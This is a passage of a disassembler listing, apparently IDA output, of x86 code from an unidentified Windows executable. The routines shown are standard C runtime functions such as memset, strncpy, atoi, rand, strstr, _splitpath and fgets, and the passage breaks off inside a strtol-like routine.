sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C504, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C504, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A29C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2C0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 27005A3h
		push	eax
		nop
		call	near ptr 26F0B1Dh


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2BC, edi
		mov	byte_4DB2B8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC91C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC918
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC91C
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2C0, edi
		call	near ptr 77E75CB5h
		nop


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A280, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A280
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A280, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC7E1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C504, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C504, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C504, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C2F8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
